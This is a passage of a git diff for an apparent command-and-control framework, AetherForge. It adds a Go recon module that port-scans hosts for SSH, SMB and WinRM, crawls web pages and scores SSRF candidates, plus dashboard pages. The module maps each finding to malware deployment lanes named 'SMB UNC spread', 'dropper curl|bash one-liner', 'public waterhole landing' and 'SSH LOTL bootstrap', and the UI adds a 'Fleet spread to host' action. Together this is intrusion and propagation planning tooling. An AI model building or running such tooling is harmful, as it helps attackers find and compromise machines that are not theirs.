pageScore + report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms) + + if item.depth >= DefaultCrawlDepth { + continue + } + for _, link := range extractLinks(body) { + abs, err := resolveSameOrigin(base, link) + if err != nil { + continue + } + if !sameOrigin(base, abs) { + continue + } + lkey := normalizeURLKey(abs) + if !visited[lkey] { + queue = append(queue, queuedURL{url: abs, depth: item.depth + 1}) + } + } + } + + if report.SSRFScore > 100 { + report.SSRFScore = 100 + } + report.CMSFingerprints = mergeCMS(nil, report.CMSFingerprints) + return report, nil +} + +type queuedURL struct { + url string + depth int +} + +func fetchPage(rawURL string) (int, string, error) { + if fetchPageFn != nil { + return fetchPageFn(rawURL) + } + client := &http.Client{Timeout: DefaultPortDialTimeout} + req, err := http.NewRequest(http.MethodGet, rawURL, nil) + if err != nil { + return 0, "", err + } + req.Header.Set("User-Agent", "AetherForge-Recon/1.0") + resp, err := client.Do(req) + if err != nil { + return 0, "", err + } + defer resp.Body.Close() + body, err := readBodyLimited(resp.Body, maxHTMLBytes) + if err != nil { + return resp.StatusCode, "", err + } + return resp.StatusCode, body, nil +} + +func normalizeScheme(scheme string, port int) string { + scheme = strings.ToLower(strings.TrimSpace(scheme)) + switch scheme { + case "http", "https": + return scheme + } + if port == 443 || port == 8443 { + return "https" + } + return "http" +} + +func defaultPortForScheme(scheme string) int { + if scheme == "https" { + return 443 + } + return 80 +} + +func joinHostPort(host string, port int) string { + if strings.Contains(host, ":") { + return host + } + return fmt.Sprintf("%s:%d", host, port) +} + +func resolveSameOrigin(base, ref string) (string, error) { + baseURL, err := url.Parse(base) + if err != nil { + return "", err + } + ref = strings.TrimSpace(ref) + if ref == "" { + return baseURL.String(), nil + } + refURL, err := url.Parse(ref) + if err != nil { + return "", err + } + return baseURL.ResolveReference(refURL).String(), nil +} + +func sameOrigin(base, target string) bool { + b, err := url.Parse(base) + if err != nil { + return false + } + t, err := url.Parse(target) + if err != nil { + return false + } + return strings.EqualFold(b.Scheme, t.Scheme) && + strings.EqualFold(b.Hostname(), t.Hostname()) && + b.Port() == t.Port() +} + +func normalizeURLKey(raw string) string { + u, err := url.Parse(raw) + if err != nil { + return strings.ToLower(strings.TrimSpace(raw)) + } + u.Fragment = "" + return strings.ToLower(u.String()) +} + +func extractLinks(body string) []string { + root, err := htmlParseRoot(body) + if err != nil { + return nil + } + var links []string + var walk func(*htmlNode) + walk = func(n *htmlNode) { + if n.tag == "a" { + if href := n.attr("href"); href != "" && !strings.HasPrefix(strings.ToLower(href), "javascript:") { + links = append(links, href) + } + } + for _, c := range n.children { + walk(c) + } + } + walk(root) + return links +} + +func mergeCMS(existing, add []string) []string { + seen := map[string]bool{} + for _, tag := range existing { + seen[tag] = true + } + var out []string + out = append(out, existing...) + for _, tag := range add { + if tag == "" || seen[tag] { + continue + } + seen[tag] = true + out = append(out, tag) + } + return out +} + +// htmlParseRoot and htmlParseTitle are thin wrappers to avoid exporting html types in tests. +func htmlParseRoot(body string) (*htmlNode, error) { + root, err := parseHTMLTree(body) + if err != nil { + return nil, err + } + return toHTMLNode(root), nil +} + +func htmlParseTitle(body string) (string, error) { + root, err := parseHTMLTree(body) + if err != nil { + return "", err + } + return extractTitle(root), nil +} diff --git a/server/internal/recon/hooks.go b/server/internal/recon/hooks.go new file mode 100644 index 0000000..029be69 --- /dev/null +++ b/server/internal/recon/hooks.go @@ -0,0 +1,13 @@ +package recon + +import "time" + +// SetPortDialHook installs a test hook for TCP dials; pass nil to restore live dials. +func SetPortDialHook(fn func(host string, port int, timeout time.Duration) bool) { + dialPortFn = fn +} + +// SetFetchPageHook installs a test hook for HTTP fetches; pass nil to restore live GETs. +func SetFetchPageHook(fn func(rawURL string) (status int, body string, err error)) { + fetchPageFn = fn +} diff --git a/server/internal/recon/html_tree.go b/server/internal/recon/html_tree.go new file mode 100644 index 0000000..d45d78a --- /dev/null +++ b/server/internal/recon/html_tree.go @@ -0,0 +1,40 @@ +package recon + +import ( + "strings" + + "golang.org/x/net/html" +) + +type htmlNode struct { + tag string + attrs map[string]string + children []*htmlNode +} + +func (n *htmlNode) attr(key string) string { + if n == nil || n.attrs == nil { + return "" + } + return n.attrs[key] +} + +func parseHTMLTree(body string) (*html.Node, error) { + return html.Parse(strings.NewReader(body)) +} + +func toHTMLNode(n *html.Node) *htmlNode { + if n == nil { + return nil + } + out := &htmlNode{tag: n.Data, attrs: map[string]string{}} + for _, a := range n.Attr { + out.attrs[a.Key] = a.Val + } + for c := n.FirstChild; c != nil; c = c.NextSibling { + if child := toHTMLNode(c); child != nil { + out.children = append(out.children, child) + } + } + return out +} diff --git a/server/internal/recon/parse.go b/server/internal/recon/parse.go new file mode 100644 index 0000000..3e80ecb --- /dev/null +++ b/server/internal/recon/parse.go @@ -0,0 +1,219 @@ +package recon + +import ( + "bytes" + "io" + "strings" + + "golang.org/x/net/html" +) + +var urlFieldHints = []string{ + "url", "link", "preview", "webhook", "fetch", "import", "oembed", "image", +} + +var cmsPathMarkers = []struct { + path string + tag string +}{ + {"/wp-admin", "wordpress"}, + {"/wp-content", "wordpress"}, + {"/strapi", "strapi"}, + {"/graphql", "graphql"}, + {"/admin/login", "admin_login"}, +} + +// ParseHTML extracts upload forms, URL fields, SSRF score, and CMS hints from HTML. +func ParseHTML(pageURL, body string) (fileInputs, multipart []FormFinding, urlFields []URLFieldFinding, ssrfScore int, cms []string) { + root, err := html.Parse(strings.NewReader(body)) + if err != nil { + return nil, nil, nil, 0, cmsFromText(pageURL, body) + } + title := extractTitle(root) + _ = title + + var walk func(*html.Node) + walk = func(n *html.Node) { + if n.Type == html.ElementNode && n.Data == "form" { + form := parseForm(pageURL, n) + if form.HasFile { + fileInputs = append(fileInputs, form) + } + if form.Multipart { + multipart = append(multipart, form) + } + ssrfScore += scoreForm(form) + } + if n.Type == html.ElementNode && n.Data == "input" { + if field := parseURLField(pageURL, n); field != nil { + urlFields = append(urlFields, *field) + ssrfScore += 10 + } + } + if n.Type == html.ElementNode && (n.Data == "textarea" || n.Data == "select") { + if field := parseURLFieldFromNamed(pageURL, attr(n, "name"), attr(n, "id"), attr(n, "placeholder")); field != nil { + urlFields = append(urlFields, *field) + ssrfScore += 8 + } + } + for c := n.FirstChild; c != nil; c = c.NextSibling { + walk(c) + } + } + walk(root) + + cms = cmsFromText(pageURL, body) + if ssrfScore > 100 { + ssrfScore = 100 + } + return fileInputs, multipart, urlFields, ssrfScore, cms +} + +func parseForm(pageURL string, form *html.Node) FormFinding { + f := FormFinding{ + PageURL: pageURL, + Action: attr(form, "action"), + Method: strings.ToLower(attr(form, "method")), + Enctype: strings.ToLower(attr(form, "enctype")), + } + if f.Method == "" { + f.Method = "get" + } + if strings.Contains(f.Enctype, "multipart") { + f.Multipart = true + } + for c := form.FirstChild; c != nil; c = c.NextSibling { + collectFormFields(c, &f) + } + return f +} + +func collectFormFields(n *html.Node, f *FormFinding) { + if n.Type == html.ElementNode { + switch n.Data { + case "input", "textarea", "select": + name := attr(n, "name") + if name != "" { + f.Fields = append(f.Fields, name) + } + if n.Data == "input" && strings.EqualFold(attr(n, "type"), "file") { + f.HasFile = true + f.Multipart = true + } + if field := parseURLField(f.PageURL, n); field != nil { + f.Fields = append(f.Fields, field.Name+"("+field.Hint+")") + } + } + } + for c := n.FirstChild; c != nil; c = c.NextSibling { + collectFormFields(c, f) + } +} + +func parseURLField(pageURL string, n *html.Node) *URLFieldFinding { + name := attr(n, "name") + id := attr(n, "id") + placeholder := attr(n, "placeholder") + return parseURLFieldFromNamed(pageURL, name, id, placeholder) +} + +func parseURLFieldFromNamed(pageURL, name, id, placeholder string) *URLFieldFinding { + joined := strings.ToLower(strings.Join([]string{name, id, placeholder}, " ")) + for _, hint := range urlFieldHints { + if strings.Contains(joined, hint) { + label := name + if label == "" { + label = id + } + return &URLFieldFinding{ + PageURL: pageURL, + Name: label, + Type: "text", + Hint: hint, + } + } + } + return nil +} + +func scoreForm(f FormFinding) int { + score := 0 + action := strings.ToLower(f.Action) + for _, hint := range urlFieldHints { + if strings.Contains(action, hint) { + score += 15 + } + } + for _, field := range f.Fields { + lower := strings.ToLower(field) + for _, hint := range urlFieldHints { + if strings.Contains(lower, hint) { + score += 5 + } + } + } + if f.HasFile { + score += 5 + } + return score +} + +func cmsFromText(pageURL, body string) []string { + seen := map[string]bool{} + var out []string + lowerURL := strings.ToLower(pageURL) + lowerBody := strings.ToLower(body) + add := func(tag string) { + if tag == "" || seen[tag] { + return + } + seen[tag] = true + out = append(out, tag) + } + for _, marker := range cmsPathMarkers { + if strings.Contains(lowerURL, marker.path) || strings.Contains(lowerBody, marker.path) { + add(marker.tag) + } + } + if strings.Contains(lowerBody, "strapi") { + add("strapi") + } + if strings.Contains(lowerBody, "wp-content") || strings.Contains(lowerBody, "wordpress") { + add("wordpress") + } + return out +} + +func extractTitle(root *html.Node) string { + var title string + var walk func(*html.Node) + walk = func(n *html.Node) { + if n.Type == html.ElementNode && n.Data == "title" && n.FirstChild != nil { + title = strings.TrimSpace(n.FirstChild.Data) + return + } + for c := n.FirstChild; c != nil; c = c.NextSibling { + walk(c) + } + } + walk(root) + return title +} + +func attr(n *html.Node, key string) string { + for _, a := range n.Attr { + if a.Key == key { + return a.Val + } + } + return "" +} + +func readBodyLimited(r io.Reader, max int64) (string, error) { + buf := new(bytes.Buffer) + _, err := io.Copy(buf, io.LimitReader(r, max)) + if err != nil { + return "", err + } + return buf.String(), nil +} diff --git a/server/internal/recon/portscan.go b/server/internal/recon/portscan.go new file mode 100644 index 0000000..2162070 --- /dev/null +++ b/server/internal/recon/portscan.go @@ -0,0 +1,32 @@ +package recon + +import ( + "net" + "strconv" + "time" +) + +// dialPortFn overrides TCP probes in tests (nil = live dial from server host). +var dialPortFn func(host string, port int, timeout time.Duration) bool + +// ScanPorts TCP-dials common fleet ports on host with timeout from server host. +func ScanPorts(host string) []PortResult { + out := make([]PortResult, 0, len(FleetPorts)) + for _, port := range FleetPorts { + out = append(out, PortResult{Port: port, Open: dialPort(host, port, DefaultPortDialTimeout)}) + } + return out +} + +func dialPort(host string, port int, timeout time.Duration) bool { + if dialPortFn != nil { + return dialPortFn(host, port, timeout) + } + addr := net.JoinHostPort(host, strconv.Itoa(port)) + conn, err := net.DialTimeout("tcp", addr, timeout) + if err != nil { + return false + } + _ = conn.Close() + return true +} diff --git a/server/internal/recon/recon_test.go b/server/internal/recon/recon_test.go new file mode 100644 index 0000000..81b63d4 --- /dev/null +++ b/server/internal/recon/recon_test.go @@ -0,0 +1,186 @@ +package recon + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + "time" +) + +func TestScanPortsWithInject(t *testing.T) { + SetPortDialHook(func(host string, port int, _ time.Duration) bool { + if host != "10.0.0.5" { + t.Fatalf("host=%q", host) + } + return port == 22 || port == 443 + }) + t.Cleanup(func() { SetPortDialHook(nil) }) + results := ScanPorts("10.0.0.5") + open := map[int]bool{} + for _, r := range results { + if r.Open { + open[r.Port] = true + } + } + if !open[22] || !open[443] { + t.Fatalf("open=%v", open) + } + if open[445] { + t.Fatal("445 should be closed") + } +} + +func TestParseHTMLFixtures(t *testing.T) { + body := `Upload +
+ + +
+Admin + +` + files, multi, fields, score, cms := ParseHTML("http://lab/upload", body) + if len(files) != 1 || !files[0].HasFile { + t.Fatalf("file inputs: %+v", files) + } + if len(multi) != 1 || !multi[0].Multipart { + t.Fatalf("multipart: %+v", multi) + } + if len(fields) == 0 { + t.Fatal("expected url fields") + } + if score < 10 { + t.Fatalf("ssrf score=%d", score) + } + if !containsStr(cms, "wordpress") && !containsStr(cms, "admin_login") { + t.Fatalf("cms=%v", cms) + } +} + +func TestCrawlSameOriginDepth(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.URL.Path { + case "/": + w.Write([]byte(`nextoff`)) + case "/page2": + w.Write([]byte(`deep`)) + case "/page3": + w.Write([]byte(`leaf`)) + default: + http.NotFound(w, r) + } + })) + defer srv.Close() + + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatal(err) + } + port := 80 + if p := u.Port(); p != "" { + port = atoi(p) + } + + SetFetchPageHook(func(rawURL string) (int, string, error) { + resp, err := http.Get(rawURL) + if err != nil { + return 0, "", err + } + defer resp.Body.Close() + body, _ := readBodyLimited(resp.Body, maxHTMLBytes) + return resp.StatusCode, body, nil + }) + t.Cleanup(func() { SetFetchPageHook(nil) }) + + report, err := Crawl(u.Hostname(), port, u.Scheme, []string{"/"}) + if err != nil { + t.Fatal(err) + } + if report.PagesFetched < 2 { + t.Fatalf("pages=%d", report.PagesFetched) + } + for _, p := range report.Pages { + if strings.Contains(p.URL, "evil.example") { + t.Fatalf("followed off-origin %s", p.URL) + } + } +} + +func TestScanReportRecommendations(t *testing.T) { + ports := []PortResult{ + {Port: 22, Open: true}, + {Port: 5985, Open: true}, + {Port: 80, Open: true}, + } + crawl := &CrawlReport{ + MultipartForms: []FormFinding{{PageURL: "http://x/", Multipart: true}}, + SSRFScore: 40, + } + recs := BuildRecommendations(ports, crawl) + if len(recs) < 5 { + t.Fatalf("recs=%+v", recs) + } + keys := map[string]bool{} + for _, r := range recs { + keys[r.Lane+"|"+r.Template] = true + } + for _, want := range []string{"linux_lotl|linux-lotl", "winrm|winrm", "bits_curl|", "stage_fetch|", "|ssrf_probe", "|public_waterhole"} { + if !keys[want] { + t.Fatalf("missing %q in %+v", want, recs) + } + } +} + +func TestScanOwnedTarget(t *testing.T) { + SetPortDialHook(func(host string, port int, _ time.Duration) bool { + return port == 80 + }) + t.Cleanup(func() { SetPortDialHook(nil) }) + SetFetchPageHook(func(rawURL string) (int, string, error) { + return 200, `
`, nil + }) + t.Cleanup(func() { SetFetchPageHook(nil) }) + report, err := Scan(ScanRequest{Host: "owned.lab", Port: 80, Scheme: "http"}) + if err != nil { + t.Fatal(err) + } + if report.Host != "owned.lab" { + t.Fatalf("host=%q", report.Host) + } + if report.Crawl == nil || len(report.Recommendations) == 0 { + raw, _ := json.Marshal(report) + t.Fatalf("report=%s", raw) + } +} + +func TestNormalizeOwnedHostRejectsEmpty(t *testing.T) { + if _, err := Scan(ScanRequest{}); err == nil { + t.Fatal("expected error") + } +} + +func containsStr(list []string, want string) bool { + for _, s := range list { + if s == want { + return true + } + } + return false +} + +func atoi(s string) int { + n := 0 + for _, c := range s { + if c < '0' || c > '9' { + return 80 + } + n = n*10 + int(c-'0') + } + if n == 0 { + return 80 + } + return n +} diff --git a/server/internal/recon/scan.go b/server/internal/recon/scan.go new file mode 100644 index 0000000..70424cd --- /dev/null +++ b/server/internal/recon/scan.go @@ -0,0 +1,152 @@ +package recon + +import ( + "fmt" + "net" + "strings" + "time" +) + +// Scan runs port scan and optional web crawl for an operator-supplied owned target. +func Scan(req ScanRequest) (*ScanReport, error) { + host, err := normalizeOwnedHost(req.Host) + if err != nil { + return nil, err + } + ports := ScanPorts(host) + report := &ScanReport{ + Host: host, + ScannedAt: time.Now().UTC(), + Ports: ports, + } + + if shouldCrawl(req, ports) { + crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths) + if err == nil && crawl != nil { + report.Crawl = crawl + } + } + report.Recommendations = BuildRecommendations(ports, report.Crawl) + return report, nil +} + +func normalizeOwnedHost(host string) (string, error) { + host = strings.TrimSpace(host) + if host == "" { + return "", fmt.Errorf("host required") + } + host = strings.TrimPrefix(host, "http://") + host = strings.TrimPrefix(host, "https://") + if i := strings.Index(host, "/"); i >= 0 { + host = host[:i] + } + if h, p, err := net.SplitHostPort(host); err == nil { + if strings.TrimSpace(h) == "" { + return "", fmt.Errorf("invalid host") + } + _ = p + host = h + } + if ip := net.ParseIP(host); ip != nil { + return ip.String(), nil + } + if len(host) > 253 || strings.Contains(host, " ") { + return "", fmt.Errorf("invalid host") + } + return strings.ToLower(host), nil +} + +func shouldCrawl(req ScanRequest, ports []PortResult) bool { + if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 { + return true + } + for _, p := range ports { + switch p.Port { + case 80, 443, 8080, 8443: + if p.Open { + return true + } + } + } + return false +} + +// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates. +func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation { + var recs []DeployRecommendation + open := map[int]bool{} + for _, p := range ports { + if p.Open { + open[p.Port] = true + } + } + + if open[22] { + recs = append(recs, DeployRecommendation{ + Lane: "linux_lotl", + Template: "linux-lotl", + Reason: "TCP 22 open — SSH LOTL bootstrap", + Priority: 25, + }) + } + if open[445] { + recs = append(recs, DeployRecommendation{ + Lane: "spread_smb_unc", + Reason: "TCP 445 open — SMB UNC spread", + Priority: 50, + }) + } + if open[5985] || open[5986] { + recs = append(recs, DeployRecommendation{ + Lane: "winrm", + Template: "winrm", + Reason: "TCP 5985/5986 open — WinRM bootstrap", + Priority: 30, + }) + } + if open[80] || open[443] || open[8080] || open[8443] { + recs = append(recs, DeployRecommendation{ + Lane: "bits_curl", + Reason: "HTTP surface open — dropper curl|bash one-liner", + Priority: 20, + }) + recs = append(recs, DeployRecommendation{ + Template: "public_waterhole", + Reason: "HTTP surface open — copy /spread/ public waterhole landing", + Priority: 15, + }) + } + + if crawl != nil { + if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 { + recs = append(recs, DeployRecommendation{ + Lane: "stage_fetch", + Reason: "Multipart or file-upload form — stage_fetch manifest staging", + Priority: 35, + }) + } + if crawl.SSRFScore >= 30 { + recs = append(recs, DeployRecommendation{ + Template: "ssrf_probe", + Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore), + Priority: 45, + }) + } + } + + return dedupeRecommendations(recs) +} + +func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation { + seen := map[string]bool{} + var out []DeployRecommendation + for _, r := range in { + key := r.Lane + "|" + r.Template + if seen[key] { + continue + } + seen[key] = true + out = append(out, r) + } + return out +} diff --git a/server/internal/recon/types.go b/server/internal/recon/types.go new file mode 100644 index 0000000..b1a1598 --- /dev/null +++ b/server/internal/recon/types.go @@ -0,0 +1,80 @@ +package recon + +import "time" + +// FleetPorts are TCP ports probed during browser-deploy recon. +var FleetPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 6262, 8080, 8443} + +const ( + DefaultPortDialTimeout = 2 * time.Second + DefaultCrawlDepth = 2 + DefaultCrawlMaxPages = 50 +) + +// ScanRequest is operator-supplied owned-target input. +type ScanRequest struct { + Host string `json:"host"` + Port int `json:"port,omitempty"` + Scheme string `json:"scheme,omitempty"` + Paths []string `json:"paths,omitempty"` +} + +// PortResult is one TCP dial outcome. +type PortResult struct { + Port int `json:"port"` + Open bool `json:"open"` +} + +// FormFinding describes an HTML form of interest. +type FormFinding struct { + PageURL string `json:"page_url"` + Action string `json:"action,omitempty"` + Method string `json:"method,omitempty"` + Enctype string `json:"enctype,omitempty"` + Fields []string `json:"fields,omitempty"` + HasFile bool `json:"has_file_input,omitempty"` + Multipart bool `json:"multipart,omitempty"` +} + +// URLFieldFinding is an input/textarea whose name or label hints URL fetch behavior. +type URLFieldFinding struct { + PageURL string `json:"page_url"` + Name string `json:"name"` + Type string `json:"type,omitempty"` + Hint string `json:"hint"` +} + +// PageFinding summarizes one crawled page. +type PageFinding struct { + URL string `json:"url"` + StatusCode int `json:"status_code"` + Title string `json:"title,omitempty"` +} + +// CrawlReport aggregates web surface findings. +type CrawlReport struct { + PagesFetched int `json:"pages_fetched"` + Pages []PageFinding `json:"pages,omitempty"` + FileInputs []FormFinding `json:"file_inputs,omitempty"` + MultipartForms []FormFinding `json:"multipart_forms,omitempty"` + URLFields []URLFieldFinding `json:"url_fields,omitempty"` + SSRFScore int `json:"ssrf_score"` + CMSFingerprints []string `json:"cms_fingerprints,omitempty"` +} + +// DeployRecommendation maps recon findings to an existing spread/deploy lane or template. +type DeployRecommendation struct { + Lane string `json:"lane,omitempty"` + Template string `json:"template,omitempty"` + Reason string `json:"reason"` + Priority int `json:"priority"` +} + +// ScanReport is the full owned-target recon payload returned by POST /api/v1/recon/scan. +type ScanReport struct { + Host string `json:"host"` + ScannedAt time.Time `json:"scanned_at"` + Ports []PortResult `json:"ports"` + Crawl *CrawlReport `json:"crawl,omitempty"` + Recommendations []DeployRecommendation `json:"recommendations,omitempty"` +} diff --git a/server/main.go b/server/main.go index f7438bf..23aea92 100644 --- a/server/main.go +++ b/server/main.go @@ -351,6 +351,9 @@ func main() { func() string { return cfg.Server.PolicySnapshotToken }, ) spreadHandler.BindPolicyFanout(pathTracerHandler, policyFanoutCfgFn) + spreadHandler.BindDeployPlan(deployPlanHandler, func() string { return configProvider.PublicURL() }, func() map[string]api.ServiceDeployLane { + return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) + }) wsHub.SetPolicyFanoutConfig(cfg.Server.PolicySnapshotToken, cfg.Server.EventBridgeRelayURL, func() string { return configProvider.PublicURL() }) diff --git a/server/web/e2e/deploy-recon.spec.ts b/server/web/e2e/deploy-recon.spec.ts new file mode 100644 index 0000000..a634209 --- /dev/null +++ b/server/web/e2e/deploy-recon.spec.ts @@ -0,0 +1,51 @@ +import { expect, test } from '@playwright/test'; +import { loginToDashboard } from './fixtures'; + +const MOCK_REPORT = { + host: 'e2e-recon.lab', + scanned_at: '2026-06-07T12:00:00Z', + ports: [ + { port: 22, open: false }, + { port: 80, open: true }, + { port: 445, open: true }, + { port: 5985, open: false }, + ], + crawl: { + pages_fetched: 1, + ssrf_score: 35, + url_fields: [{ page_url: 'http://e2e-recon.lab/', name: 'fetch_url', hint: 'url' }], + cms_fingerprints: ['wordpress'], + multipart_forms: [], + }, + recommendations: [{ lane: 'spread_smb_unc', reason: 'SMB open', priority: 50 }], +}; + +test.describe('Deploy Recon smoke', () => { + test.beforeEach(async ({ page }) => { + await page.route('**/api/v1/recon/scan', async (route) => { + await route.fulfill({ json: MOCK_REPORT }); + }); + await loginToDashboard(page); + await page.goto('/deploy-recon'); + await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({ + timeout: 10_000, + }); + }); + + test('sidebar link and scan results render', async ({ page }) => { + await page.getByTestId('dr-host-input').fill('e2e-recon.lab'); + await page.getByTestId('dr-scan-btn').click(); + await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 }); + await expect(page.getByTestId('dr-port-matrix')).toBeVisible(); + await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible(); + await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible(); + }); + + test('/browser-spread alias redirects to deploy recon', async ({ page }) => { + await page.goto('/browser-spread'); + await expect(page).toHaveURL(/\/deploy-recon/); + await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({ + timeout: 10_000, + }); + }); +}); diff --git a/server/web/e2e/fixtures.ts b/server/web/e2e/fixtures.ts index d9f1d39..7a221ee 100644 --- a/server/web/e2e/fixtures.ts +++ b/server/web/e2e/fixtures.ts @@ -78,15 +78,22 @@ export async function expectOnlineCrucibleCard(page: Page, hostname: string): Pr export async function loginToDashboard(page: Page): Promise { const commandDeck = page.getByRole('heading', { name: 'Command Deck' }); + const loginHeading = page.getByRole('heading', { name: 'AetherForge' }); for (let attempt = 0; attempt < 3; attempt++) { - await page.goto('/', { waitUntil: 'domcontentloaded', timeout: 30_000 }); + await page.goto('/', { waitUntil: 'load', timeout: 30_000 }); + + if (await page.getByText('No frontend configured').isVisible().catch(() => false)) { + throw new Error( + 'Dashboard SPA missing — run `npm run build` in server/web (webroot must exist before phase 8)', + ); + } + + await page.locator('#root').waitFor({ state: 'attached', timeout: 15_000 }).catch(() => {}); if (await commandDeck.isVisible().catch(() => false)) { return; } - - const loginHeading = page.getByRole('heading', { name: 'AetherForge' }); try { await expect(loginHeading).toBeVisible({ timeout: 25_000 }); } catch (err) { diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts index 3bea7d3..9e49c0a 100644 --- a/server/web/e2e/pages.spec.ts +++ b/server/web/e2e/pages.spec.ts @@ -48,4 +48,43 @@ test.describe('Page smoke', () => { await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible(); await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible(); }); + + test('Deploy Recon renders scan form', async ({ page }) => { + await page.goto('/deploy-recon'); + await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({ + timeout: 10_000, + }); + await expect(page.getByTestId('dr-scan-btn')).toBeVisible(); + }); + + test('Emberwake Cloud Ecosystem panel expands', async ({ page }) => { + await page.goto('/emberwake'); + await expect(page.getByRole('heading', { level: 1, name: /Emberwake/i })).toBeVisible({ timeout: 10_000 }); + await page.getByText('Cloud ecosystem').click(); + await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 }); + await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible(); + await expect(page.getByTestId('cloud-method-minio')).toBeVisible(); + await expect(page.getByText('AWS ecosystem')).toBeVisible(); + }); + + test('Seer page is read-only stream', async ({ page }) => { + await page.goto('/seer'); + await expect(page.getByRole('heading', { name: /The Seer/i })).toBeVisible({ timeout: 10_000 }); + await expect(page.getByText(/FLEET AI STREAM/i)).toBeVisible(); + await expect(page.getByText(/SEER NOTES/i)).toBeVisible(); + await expect(page.getByRole('link', { name: /Oath Ledger/i })).toBeVisible(); + await expect(page.getByRole('textbox')).toHaveCount(0); + await expect(page.getByRole('searchbox')).toHaveCount(0); + }); + + test('Oath ledger renders accountability table', async ({ page }) => { + await page.goto('/oath'); + await expect(page.getByRole('heading', { name: /Operator Oath Ledger/i })).toBeVisible({ + timeout: 10_000, + }); + await expect(page.getByRole('columnheader', { name: 'Time' })).toBeVisible(); + await expect(page.getByRole('columnheader', { name: 'Action' })).toBeVisible(); + await expect(page.getByRole('link', { name: /Seer reasoning/i })).toBeVisible(); + await expect(page.getByText(/No oath rows yet|Loading…/)).toBeVisible({ timeout: 15_000 }); + }); }); diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index 7adc184..a76d0d5 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -26,6 +26,7 @@ const ROIPage = lazy(() => import('./pages/ROIPage')); const ActivityFeedPage = lazy(() => import('./pages/ActivityFeedPage')); const SeerPage = lazy(() => import('./pages/SeerPage')); const OathLedgerPage = lazy(() => import('./pages/OathLedgerPage')); +const DeployReconPage = lazy(() => import('./pages/DeployReconPage')); export function PageFallback() { return ( @@ -62,6 +63,8 @@ function App() { } /> } /> } /> + } /> + } /> } /> } /> } /> diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index acd6c2b..57e38b0 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -351,6 +351,18 @@ export const api = { } }, + getReconDeployKit: (params: { host: string; finding?: string }) => { + const q = new URLSearchParams({ host: params.host }); + if (params.finding) q.set('finding', params.finding); + return fetchJSON(`/recon/deploy-kit?${q.toString()}`); + }, + + postFleetSpreadToHost: (body: import('../types/recon').FleetSpreadToHostRequest) => + fetchJSON('/fleet/spread-to-host', { + method: 'POST', + body: JSON.stringify(body), + }), + listFleetModules: () => fetchJSON('/fleet/modules'), pushFleetPolicy: (body: { agent_ids: string[]; @@ -413,6 +425,13 @@ export const api = { getWarRoom: (days = 7) => fetchJSON(`/emberwake/war-room?days=${days}`), + reconScan: (body: import('../types/recon').ReconScanRequest, signal?: AbortSignal) => + fetchJSON( + '/recon/scan', + { method: 'POST', body: JSON.stringify(body), signal }, + 25_000, + ), + exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => { const res = await fetch(`${API_BASE}/builder/spread-kit-export`, { method: 'POST', diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx index 3048940..0eaca98 100644 --- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx +++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx @@ -30,6 +30,7 @@ interface FmCommandResult { interface Props { activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels'; + spreadHostHint?: string; selectedAgents: Agent[]; selectedCount: number; singleSelectedAgent: Agent | null; @@ -51,6 +52,7 @@ interface Props { export default function CrucibleExpandedOps({ activeTab, + spreadHostHint = '', selectedAgents, selectedCount, singleSelectedAgent, @@ -777,6 +779,11 @@ export default function CrucibleExpandedOps({ if (activeTab === 'spread') { return (
+ {spreadHostHint ? ( +

+ Deploy Recon target: {spreadHostHint} — select egress agents and run Spread Now or Probe & Join. +

+ ) : null} + +
+ {reconSpreadMsg &&

{reconSpreadMsg}

} + {spreadToHostResult?.recommended_command && ( +

+ Recommended: {spreadToHostResult.recommended_command} + {spreadToHostResult.seed_agent_name ? ` via ${spreadToHostResult.seed_agent_name}` : ''} +

